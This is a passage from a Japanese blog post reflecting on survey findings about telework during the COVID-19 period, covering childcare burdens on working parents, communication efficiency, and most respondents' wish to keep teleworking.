効率の低下には、先ほど記載したような、運動不足などからくる身体への影響によるものもありますが、そもそも、子どもがいる親への負担が増えるといったことも、深く関連がありそうです。

今回の調査でも、子どもを持つ親の約半分が働きながら子育てをしており、女性に少し偏っている様子もうかがえます。

f:id:micro_keyword:20200605230703p:plain

子育てに関しては、家庭内の問題として、語られることも多いかもしれません。

ただ、子育て自体は、多くの人が経験するものであり、むしろ今後より一層子育てと仕事の両立が求められるようになってくることを想定すると、もはや大きな社会課題です。

今回の場合は、学校や保育園に子どもを預けられないということが、より困難にしている感じですが、仕事と子育てを切り離すという考え方自体を変えて、仕事のスタイルを変える必要があるのかなとも感じています。

コミュニケーションと業務効率

コミュニケーション関連の業務に関する業務効率についての統計が出ていますが、「変わらずできている」と「非効率になっている」が半々くらいです。(下の図はコミュニケーション関連以外の業務です。)

f:id:micro_keyword:20200605230847p:plain

f:id:micro_keyword:20200605230859p:plain

これには慣れもあるかと思いますし、確かにZoom飲み会一つとっても、対面の有利性を感じる場面は多い気がします。

少々強引ですが、コミュニケーションについては対面に勝るものはないということで結論付けさせていただきます!

、、、ですが。

「効率」という観点で考えると、コミュニケーションにおける非効率が、通勤時間や身支度などその他もろもろの要素を上回るものなのかどうかを検討することが必要な気がします。

その結果として、業務全体としての効率が測れるのかなと。

長くなってしまいましたが、コミュニケーションに関しては、1 or 0で決めず、多少面倒でも、適材適所な判断をするのが懸命なのかもしれません。


まとめ

ということで、前回の記事も含め、2部制で記事を書いてみました。

パーソル研究所の最後にもありましたが、全体として、コロナ収束後にもテレワークを続けたい人は過半数に上っていました。

f:id:micro_keyword:20200605231000p:plain

テレワークのみ、となると話は別ですが、やはり、テレワークという働き方が特異なものでなくなっていくことは、間違いないと思います。

近い将来、「テレワークがダメな時代があったこと」に違和感を覚える若者も増えるんでしょうね。

ジェネレーションギャップ。。。